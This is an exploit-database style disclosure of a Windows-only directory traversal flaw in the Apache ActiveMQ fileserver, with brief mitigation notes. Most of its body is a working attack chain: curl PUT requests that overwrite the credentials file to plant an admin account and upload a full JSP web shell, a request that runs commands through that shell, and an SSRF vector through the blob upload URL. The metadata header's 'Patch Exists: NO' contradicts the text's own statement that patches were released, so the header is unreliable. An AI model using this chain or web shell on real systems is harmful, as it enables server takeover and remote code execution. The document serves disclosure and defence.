Directory Traversal Flaw in Apache ActiveMQ

vendor:

ActiveMQ

by:

Anonymous

8,8

CVSS

HIGH

Directory Traversal

CWE

Product Name: ActiveMQ

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2020

Directory Traversal Flaw in Apache ActiveMQ

An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution. The attacker can then take a standard JSP shell and upload it to the server.

Mitigation:

The default conf/jetty.xml includes a security constraint mapping that blocks the upload of JSP files into contexts that will allow them to execute. It is recommended to use a secure configuration and restrict access to the fileserver.

Source

Exploit-DB raw data:

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. 
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. 
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.

Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
 <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">  
     <property name="constraint" ref="securityConstraint">  
     <property name="pathSpec" value="/api/*,/admin/*,*.jsp">  
   </property></property>  
 </bean>  
Effectively blocking the upload of JSP files into contexts that will allow them to execute. 

I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:

$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties

This seems to have the disadvantage of requiring a reboot of the server to take effect. 
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. 
The attacker can then take a standard JSP shell:

$ cat cmd.jsp 
 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 %>  
 <HTML><BODY>  
 Commands with JSP  
 <FORM METHOD="GET" NAME="myform" ACTION="">  
 <INPUT TYPE="text" NAME="cmd">  
 <INPUT TYPE="submit" VALUE="Send">  
 </FORM>  
 <pre>  
 <%  
 if (request.getParameter("cmd") != null) {  
 out.println("Command: " + request.getParameter("cmd") + "<BR>");  
 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
 OutputStream os = p.getOutputStream();  
 InputStream in = p.getInputStream();  
 DataInputStream dis = new DataInputStream(in);  
 String disr = dis.readLine();  
 while ( disr != null ) {  
 out.println(disr);  
 disr = dis.readLine();  
 }  
 }  
 %>  
 </pre>  
 </BODY></HTML>  

Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:

$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp

And pop a calc on the server:

$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe

Exploiting non-Windows servers

All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. 
That said, clients can specify the uploadUrl for a blob transfer, e.g.:

tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com

An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.

Resolution

The ActiveMQ project has released an advisory and patches. 
This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. 
It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.